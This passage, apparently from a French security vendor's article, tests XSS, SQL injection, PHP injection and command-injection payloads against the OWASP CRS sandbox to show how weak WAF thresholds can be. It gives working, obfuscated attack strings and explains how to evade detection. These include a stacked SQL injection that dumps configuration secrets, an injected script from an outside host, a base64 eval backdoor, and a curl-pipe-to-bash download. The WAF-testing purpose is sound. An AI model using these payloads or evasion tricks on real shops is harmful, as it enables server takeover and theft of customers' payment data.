2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%28%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%21%5B%5D%2B%28%21%5B%5D%2B%5B%2B%5B%5D%5D%29%5B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%28%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29%28%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%5B%5D%2B%5B%2B%5B%5D%5D%29%5B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%28%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%29%2B%28%5B%5D%2B%5B%5D%29%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%29%28%29%29%22%20%22"
941100 PL1 XSS Attack Detected via libinjection
941160 PL? NoScript XSS InjectionChecker: HTML Injection
941360 PL1 JSFuck / Hieroglyphy obfuscation detected
941120 PL? XSS Filter - Category 2: Event Handler Vector
942430 PL? Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 23)


Le volet des XSS est l'un des plus denses qui soient. Il évolue en permanence, au gré des évolutions du langage JavaScript (ECMAScript) et de ses principaux frameworks et bibliothèques (jQuery, Bootstrap, React, etc.). Il ne se limite pas aux XSS de catégorie 1 et 2.

Il est évidemment exclu de lister l'ensemble des variants (voir Large_XSS_Payloads de ShadowByte1 sur GitHub) : il en existe des milliers permettant d'aboutir aux mêmes finalités, à savoir auto-installer un module, obtenir les pleins pouvoirs sur PrestaShop via une XSS stockée, puis déployer un module de paiement frauduleux afin de dérober l'ensemble des données bancaires des clients.

La conclusion de ces quelques démonstrations sur le périmètre des XSS (CWE-79) est : si votre fourniseur de WAF
  • travaille en PL 1 (Paranoïa niveau 1) et ne bloque pas au dessus d'un score de 10 points
  • travaille en PL 2 (Paranoïa niveau 2) et ne bloque pas au dessus d'un score de 20 points

Vous n'avez aucune protection préventive contre les injections XSS.


À bon entendeur : prétendre le contraire est susceptible de relever de la publicité mensongère - et, dans un avenir proche, la DGCCRF devrait se montrer particulièrement attentive à ces pratiques.



2.2/ Les injections SQL



Nous partons du principe que tout le monde connaît cette fameuse charge, totalement inoffensive, utilisée pour constater - ou non - qu'un minimum de sécurité est déployé :

?hdby=1;select(sleep(56/2))-- -

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d 'hdby=1%3Bselect%28sleep%2856%2F2%29%29--%20-'
942100 PL1 SQL Injection Attack Detected via libinjection
942160 PL1 Detects blind sqli tests using sleep() or benchmark()
942350 PL1 Detects MySQL UDF injection and other data/structure manipulation attempts
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 15)


Veuillez noter le score de la charge : 15, correspondant au déclenchement de trois règles critiques. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 15, cette charge passera sans difficulté.

De nombreux variants ont été publiés par TW pour démontrer l'inefficacité des mécaniques de cybersécurité réactive (antivirus / antimalware / fim), prenons par exemple celui-ci qui permet d'auto copier/coller tous les secrets (incluant vos jetons bancaires pour prendre le contrôle de vos flux bancaires) dans une page publique de CMS pour les piller :

SET @a = X'5345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B';PREPARE stmt FROM @a;EXECUTE stmt;SET @b = 0x534554204063203D202F2A52414E444F4D2A2F434F4E434154282755504441544520272C407470662C27636D735F6C616E672053455420636F6E74656E743D434F4E43415428636F6E74656E742C2853454C4543542047524F55505F434F4E434154282253233432222C227C222C6E616D652C227C222C76616C75652C227C22292046524F4D20272C407470662C27636F6E66696775726174696F6E29292057484552452069645F636D733D312729;PREPARE stmt2 FROM @b;EXECUTE stmt2;PREPARE stmt3 FROM @c;EXECUTE stmt3;

Testons-la côté OWASP CRS :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=mod%281%2C1%29%3BSET%20%40a%20%3D%20X%275345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B%27%3BPREPARE%20stmt%20FROM%20%40a%3BEXECUTE%20stmt%3BSET%20%40b%20%3D%200x534554204063203D202F2A52414E444F4D2A2F434F4E434154282755504441544520272C407470662C27636D735F6C616E672053455420636F6E74656E743D434F4E43415428636F6E74656E742C2853454C4543542047524F55505F434F4E434154282253233432222C227C222C6E616D652C227C222C76616C75652C227C22292046524F4D20272C407470662C27636F6E66696775726174696F6E29292057484552452069645F636D733D312729%3BPREPARE%20stmt2%20FROM%20%40b%3BEXECUTE%20stmt2%3BPREPARE%20stmt3%20FROM%20%40c%3BEXECUTE%20stmt3%3B--%20-"

Cela ne génère aucun résultat, ce qui signifie que, lorsque le WAF est configuré en PL1 (niveau de paranoïa 1), la charge est totalement invisible et passera donc sans aucune difficulté.

Testons-la maintenant avec un WAF configuré en niveau de paranoïa 2 (PL2) :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=mod%281%2C1%29%3BSET%20%40a%20%3D%20X%275345542040747066203D202873656C656374206C656674287461626C655F6E616D65202C204C4F434154452827636F6E66696775726174696F6E272C207461626C655F6E616D65292D31292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D61203D202873656C65637420646174616261736528292920616E64207461626C655F6E616D65206C696B65202725636F6E66696775726174696F6E27204F52444552204259204C454E475448287461626C655F6E616D652920415343204C494D49542031293B%27%3BPREPARE%20stmt%20FROM%20%40a%3BEXECUTE%20stmt%3BSET%20%40b%20%3D%200x534554204063203D202F2A52414E444F4D2A2F434F4E434154282755504441544520272C407470662C27636D735F6C616E672053455420636F6E74656E743D434F4E43415428636F6E74656E742C2853454C4543542047524F55505F434F4E434154282253233432222C227C222C6E616D652C227C222C76616C75652C227C22292046524F4D20272C407470662C27636F6E66696775726174696F6E29292057484552452069645F636D733D312729%3BPREPARE%20stmt2%20FROM%20%40b%3BEXECUTE%20stmt2%3BPREPARE%20stmt3%20FROM%20%40c%3BEXECUTE%20stmt3%3B--%20-"
932236 PL2 Remote Command Execution: Unix Command Injection (command without evasion)
942150 PL2 SQL Injection Attack: SQL function name detected
942180 PL2 Detects basic SQL authentication bypass attempts 1/3
942200 PL2 Detects MySQL comment-/space-obfuscated injections and backtick termination
942210 PL2 Detects chained SQL injection attempts 1/2
942380 PL2 SQL Injection Attack
942410 PL2 SQL Injection Attack
942430 PL2 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
942440 PL2 SQL Comment Sequence Detected
942450 PL2 SQL Hex Encoding Identified
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 48)


Cette fois-ci, sous réserve que votre WAF soit configuré en niveau de paranoïa 2, nous constatons un score nettement plus élevé : 48, correspondant au déclenchement de plus de neuf règles critiques.

Tout comme pour les injections XSS, il existe des milliers de variantes. Les réseaux criminels savent pertinemment que plus une charge est complète, plus le risque qu'elle déclenche une réponse du système de cyberdéfense est élevé.

Dans le cas particulier des injections SQL, ils ont donc fréquemment recours à des attaques bi-phasées ou fragmentées, conçues pour réduire l'empreinte détectable à chaque requête.

Prenons pour exemple un variant de la charge du pilleur de données SoftbyLinux, ainsi que de ses forks, dont SoftwarebyMS, qui sinistrent actuellement l'écosystème PrestaShop :

?hdby=mod(56,1);/*hdby*/UPDATE ps_configuration SET value=CONCAT(0x3c,'sc','ript s',"rc='//1j.vc/","'>",0x3c,'/','scr','ipt>') WHERE name="PS_SHOP_NAME";-- -

Veuillez noter qu'il s'agit d'une charge bi-phasée multi-vecteur : nous imbriquons une charge de type XSS stockée au sein d'une charge de type injection SQL :
  • l'injection SQL est utilisée pour injecter une XSS stockée, permettant la prise de contrôle du shop et le déploiement d'un module bancaire frauduleux visant à exfiltrer l'ensemble des données bancaires
  • la charge XSS est camouflée à l'aide du mot-clé CONCAT et de transformations de type hexadécimal
  • le score d'anomalie est réduit en masquant la séquence située entre le point-virgule et le mot-clé UPDATE au moyen de commentaires de type C

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/"  -d 'hdby=mod%2856%2C1%29%3B%2F%2Ahdby%2A%2FUPDATE%20ps_configuration%20SET%20value%3DCONCAT%280x3c%2C%27sc%27%2C%27ript%20s%27%2C%22rc%3D%27%2F%2F1j.vc%2F%22%2C%22%27%3E%22%2C0x3c%2C%27%2F%27%2C%27scr%27%2C%27ipt%3E%27%29%20WHERE%20name%3D%22PS_SHOP_NAME%22%3B--%20-'
942151 PL1 SQL Injection Attack: SQL function name detected
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 5)


Veuillez constater le score de la charge : 5, correspondant au déclenchement d'une seule règle critique. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 5, cette charge passera sans difficulté.

Regardons maintenant le niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/"  -d 'hdby=mod%2856%2C1%29%3B%2F%2Ahdby%2A%2FUPDATE%20ps_configuration%20SET%20value%3DCONCAT%280x3c%2C%27sc%27%2C%27ript%20s%27%2C%22rc%3D%27%2F%2F1j.vc%2F%22%2C%22%27%3E%22%2C0x3c%2C%27%2F%27%2C%27scr%27%2C%27ipt%3E%27%29%20WHERE%20name%3D%22PS_SHOP_NAME%22%3B--%20-'
932200 PL2 RCE Bypass Technique
932200 PL2 RCE Bypass Technique
941330 PL2 IE XSS Filters - Attack Detected
941340 PL2 IE XSS Filters - Attack Detected
942151 PL1 SQL Injection Attack: SQL function name detected
942131 PL2 SQL Injection Attack: SQL Boolean-based attack detected
942150 PL2 SQL Injection Attack: SQL function name detected
942180 PL2 Detects basic SQL authentication bypass attempts 1/3
942200 PL2 Detects MySQL comment-/space-obfuscated injections and backtick termination
942340 PL2 Detects basic SQL authentication bypass attempts 3/3
942370 PL2 Detects classic SQL injection probings 2/3
942410 PL2 SQL Injection Attack
942430 PL2 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
942440 PL2 SQL Comment Sequence Detected
942520 PL2 Detects basic SQL authentication bypass attempts 4.0/4
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 73)


Cette fois-ci, sous réserve que votre WAF soit configuré en niveau de paranoïa 2, nous constatons un score bien plus élevé : 73, correspondant au déclenchement de plus de quatorze règles critiques.

Les réseaux criminels savent parfaitement déconstruire les règles de sécurité déclenchées par ces charges. Ils savent également que certaines règles ne sont jamais activées en raison d'incompatibilités linguistiques - le français étant une langue particulièrement complexe à protéger, notamment à cause de l'usage courant de l'apostrophe.

Voici un exemple de charge pour laquelle le score d'anomalie est volontairement minimisé :

hdby=mod/*hdby*/(1,1);/*hdby*/UPDATE/*hdby*/ ps_configuration SET value=b'001111000111001101100011011100100110100101110000011101000010000001110011001100010111001001100011001111010010011100101111001011110011000101101010001011100111011001100011001011110010011100111110001111000010111101110011011000110111001001101001011100000111010000111110' WHERE name/*hdby*/LIKE "PS_SHOP_NAME";-- -

Veuillez noter :
  • la charge principale est obfusquée en binaire
  • plusieurs commentaires de type C sont ajoutés afin de leurrer les expressions régulières constitutives des règles de sécurité.

Regardons maintenant le résultat côté OWASP CRS, avec un WAF configuré en niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/"  -d 'hdby=mod%2F%2Ahdby%2A%2F%281%2C1%29%3B%2F%2Ahdby%2A%2FUPDATE%2F%2Ahdby%2A%2F%20ps_configuration%20SET%20value%3Db%27001111000111001101100011011100100110100101110000011101000010000001110011001100010111001001100011001111010010011100101111001011110011000101101010001011100111011001100011001011110010011100111110001111000010111101110011011000110111001001101001011100000111010000111110%27%20WHERE%20name%2F%2Ahdby%2A%2FLIKE%20%22PS_SHOP_NAME%22%3B--%20-'
932200 PL2 RCE Bypass Technique
932200 PL2 RCE Bypass Technique
942180 PL2 Detects basic SQL authentication bypass attempts 1/3
942200 PL2 Detects MySQL comment-/space-obfuscated injections and backtick termination
942430 PL2 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
942440 PL2 SQL Comment Sequence Detected
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 28)


Sous réserve que votre WAF soit configuré en niveau de paranoïa 2, nous constatons un score deux fois plus faible : 28. Il existe toutefois un petit secret, rarement assumé.

La règle 932200 est difficile à armer, car elle se déclenche sur des paramètres contenant des liens ou des fragments de liens inoffensifs, et les réseaux criminels le savent parfaitement. En conséquence, le score réellement observé sur la quasi-totalité des WAF sera de 28 moins les 10 points associés à la règle 932200, soit un score effectif de 18 et non de 28.

Autrement dit, cette charge passera l'ensemble des WAF configurés en PL2 (niveau de paranoïa 2) qui ne bloquent pas les scores supérieurs ou égaux à 18.

La conclusion de ces quelques démonstrations sur le périmètre des injections SQL (CWE-89) est : si votre fourniseur de WAF
  • travaille en PL 1 (Paranoïa niveau 1)
  • travaille en PL 2 (Paranoïa niveau 2) et ne bloque pas au dessus d'un score de 15 points

Vous n'avez aucune protection préventive contre les injections SQL.


Parce que certains prestataires techniques ont manifestement besoin de l'entendre à nouveau : prétendre le contraire est susceptible de relever de la publicité mensongère, dans un avenir proche, la DGCCRF devrait se montrer particulièrement attentive à ces pratiques.



2.3/ Les injections PHP



Nous partons du principe que tout le monde connaît cette charge inoffensive, utilisée pour constater - ou non - qu'un minimum de sécurité côté Injection PHP (CWE-94) est déployé :

?hdby=<?php sleep(56/5);

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=%3C%3Fphp%20sleep%2856%2F5%29%3B"
933100 PL1 PHP Injection Attack: PHP Open Tag Found
942160 PL1 Detects blind sqli tests using sleep() or benchmark()
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 10)


Veuillez noter le score de la charge : 10, correspondant au déclenchement de deux règles critiques. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.

Cette variante est moins bien connue, elle utilise ce qui s'appelle des "shorts echo tag" qui ne peuvent plus être désactivés depuis PHP 5.3 comme les "shorts tag" PHP :

?hdby=<?=56;echo md5(56);

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=%3C%3F%3D56%3Becho%20md5%2856%29%3B"
932235 PL1 Remote Command Execution: Unix Command Injection (command without evasion)
933100 PL1 PHP Injection Attack: PHP Open Tag Found
933160 PL1 PHP Injection Attack: High-Risk PHP Function Call Found
942151 PL1 SQL Injection Attack: SQL function name detected
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 20)


Veuillez noter le score de la charge : 20, correspondant au déclenchement de quatre règles critiques. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 20, cette charge passera sans difficulté.

Le propos sera le même que pour les injections SQL (CWE-89) et injections XXS (CWE-79), des milliers de variations existent. Néanmoins, le dénominateur souvent commun associé à cette classe de vulnérabilité est de pouvoir ajouter dans le site PrestaShop ciblé des portes dérobées.

Voici donc une charge offensive permettant d'arriver à cette fin :

?hdby=<?=1;eval/*hdby*/('?><?php '.eval/*hdby*/('return base64'.'_decode(eval/*hdby*/(base64'.'_'.'dec'.'ode'.'("cmV0dXJuIEBvcGVuc3NsX2RlY3J5cHQoQGd6dW5jb21wcmVzcyhAYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnX3BrX3JlZmhkYnknXSkpLCAnYWVzLTI1Ni1jYmMnLCAkX1NFUlZFUlsnSFRUUF9BVVRIT1JJWkFUSU9OJ10sIE9QRU5TU0xfUkFXX0RBVEEsIHN1YnN0cihoYXNoKCdzaGEyNTYnLCAkX1NFUlZFUlsnSFRUUF9BVVRIT1JJWkFUSU9OJ10pLCAwLCAxNikp")));'));

Veuillez noter :
  • la charge principale est obfusquée en base64
  • les mots clés base64_decode sont découpés puis concatennés pour réduire le score d'anomalie
  • l'utilisation de commentaire de type C pour tromper les expressions réguilères
  • elle exploite des fragilités historiques des WAF sur les cookies de Matomo (_pk_ref), tout en s'appuyant sur un dialogue chiffré en RSA afin de neutraliser les mécanismes de protection a posteriori

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=%3C%3F%3D56%3Beval%2F%2Ahdby%2A%2F%28%27%3F%3E%3C%3Fphp%20%27.eval%2F%2Ahdby%2A%2F%28%27return%20base64%27.%27_decode%28eval%2F%2Ahdby%2A%2F%28base64%27.%27_%27.%27dec%27.%27ode%27.%27%28%22cmV0dXJuIEBvcGVuc3NsX2RlY3J5cHQoQGd6dW5jb21wcmVzcyhAYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnX3BrX3JlZmhkYnknXSkpLCAnYWVzLTI1Ni1jYmMnLCAkX1NFUlZFUlsnSFRUUF9BVVRIT1JJWkFUSU9OJ10sIE9QRU5TU0xfUkFXX0RBVEEsIHN1YnN0cihoYXNoKCdzaGEyNTYnLCAkX1NFUlZFUlsnSFRUUF9BVVRIT1JJWkFUSU9OJ10pLCAwLCAxNikp%22%29%29%29%3B%27%29%29%3B"
933100 PL1 PHP Injection Attack: PHP Open Tag Found
933160 PL1 PHP Injection Attack: High-Risk PHP Function Call Found
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 10)


Veuillez noter le score de la charge : 10, correspondant au déclenchement de deux règles critiques. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.

Regardons maintenant le résultat côté OWASP CRS, avec un WAF configuré en niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=%3C%3F%3D56%3Beval%2F%2Ahdby%2A%2F%28%27%3F%3E%3C%3Fphp%20%27.eval%2F%2Ahdby%2A%2F%28%27return%20base64%27.%27_decode%28eval%2F%2Ahdby%2A%2F%28base64%27.%27_%27.%27dec%27.%27ode%27.%27%28%22cmV0dXJuIEBvcGVuc3NsX2RlY3J5cHQoQGd6dW5jb21wcmVzcyhAYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnX3BrX3JlZmhkYnknXSkpLCAnYWVzLTI1Ni1jYmMnLCAkX1NFUlZFUlsnSFRUUF9BVVRIT1JJWkFUSU9OJ10sIE9QRU5TU0xfUkFXX0RBVEEsIHN1YnN0cihoYXNoKCdzaGEyNTYnLCAkX1NFUlZFUlsnSFRUUF9BVVRIT1JJWkFUSU9OJ10pLCAwLCAxNikp%22%29%29%29%3B%27%29%29%3B"
932200 PL2 RCE Bypass Technique
932200 PL2 RCE Bypass Technique
932240 PL2 Remote Command Execution: Unix Command Injection evasion attempt detected
933100 PL1 PHP Injection Attack: PHP Open Tag Found
933160 PL1 PHP Injection Attack: High-Risk PHP Function Call Found
942340 PL2 Detects basic SQL authentication bypass attempts 3/3
942370 PL2 Detects classic SQL injection probings 2/3
942430 PL2 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
942440 PL2 SQL Comment Sequence Detected
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 43)


Sous réserve que votre WAF soit configuré en niveau de paranoïa 2, nous constatons un score quatre fois plus élevé : 43. Néanmoins le propos est identique aux injections SQL, la règle 932200 ne sera que rarement armée.

Ainsi la règle 932200 doit être retirée de ce score. En conséquence, le score réellement observé sur la quasi-totalité des WAF sera de 43 moins les 10 points associés à la règle 932200, soit un score effectif de 33 et non de 43.

Autrement dit, cette charge passera l'ensemble des WAF configurés en PL2 (niveau de paranoïa 2) qui ne bloquent pas les scores supérieurs ou égaux à 30.

La conclusion de ces quelques démonstrations sur le périmètre des injections PHP (CWE-94) est : si votre fourniseur de WAF
  • travaille en PL 1 (Paranoïa niveau 1) et ne bloque pas au dessus d'un score de 10 points
  • travaille en PL 2 (Paranoïa niveau 2) et ne bloque pas au dessus d'un score de 30 points

Vous n'avez aucune protection préventive contre les injections PHP.



2.4/ Les executions de code à distance : RCE (Remote code execution)



Les sinistres de Magento et de NodeJS / React du second semestre 2025 nous ont tristement rappelé que ce groupe de classes de vulnérabilités est tout aussi épineux que les injections XSS, et que les attaques chaînées, imbriquant de multiples classes de vulnérabilités, sont désormais la norme.

Pour rendre le papier plus digeste, les injections PHP ont été isolées (voir point 2.3), et nous aborderons ici les autres formes usuelles de RCE, qui couvrent plusieurs classes distinctes de vulnérabilités.

Les trois cibles ou chaînes "usuelles" - hors injection PHP déjà détaillée - conduisant à une RCE sur l'écosystème PHP (PrestaShop / Magento / WooCommerce) sont les suivantes :
  • <?php exec($_GET['test']); ou équivalent : passthru / system etc - CWE-78
  • <?php unserialize($_GET['test']); - CWE-502
  • <?php is_file($_GET['test']); tout comme toute fonction ayant accès au système de fichiers sans variable préfixée - CWE-502 variante phar pour PHP 7 et inférieur

L'objectif est le même que celui détaillé pour les injections PHP : prendre le contrôle du serveur, ce qui suppose de déployer des portes dérobées.



2.4.1/ Injection de commande système - OS command injection - CWE-78



Vous avez très certainement déjà rencontré cette charge de contrôle, utilisée pour lister les utilisateurs d'un système GNU/Linux :

?hdby=& cat /etc/passwd

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=%26%20cat%20%2Fetc%2Fpasswd"
930120 PL1 OS File Access Attempt
932160 PL1 Remote Command Execution: Unix Shell Code Found
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 10)


Veuillez noter le score de la charge : 10, correspondant au déclenchement de deux règles critiques. Comprendre : si votre WAF, configuré en PL1 (niveau de paranoïa 1), ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.

Dans une variante offensive, l'objectif est souvent de charger du code à distance. Les charges usuelles consistent donc à appeler un fichier hébergé sur un serveur distant, puis à l'exécuter à l'aide d'un logiciel présent sur le serveur.

Dans cet exemple, curl est utilisé pour télécharger un fichier, lequel est ensuite exécuté via bash. Si votre système souffre d'une RCE et que cette charge passe, l'attaquant obtient immédiatement les pleins pouvoirs sur votre site e-commerce.

Afin de minimiser le score d'anomalie, nous procédons ici à un appel vers une adresse IP, ce qui permet d'éviter le déclenchement des mécanismes de défense relatifs au RFI (Remote File Inclusion).

?hdby=& curl 8.8.8.8/payload.sh | bash

Testons notre charge sur le niveau de paranoïa 1 :

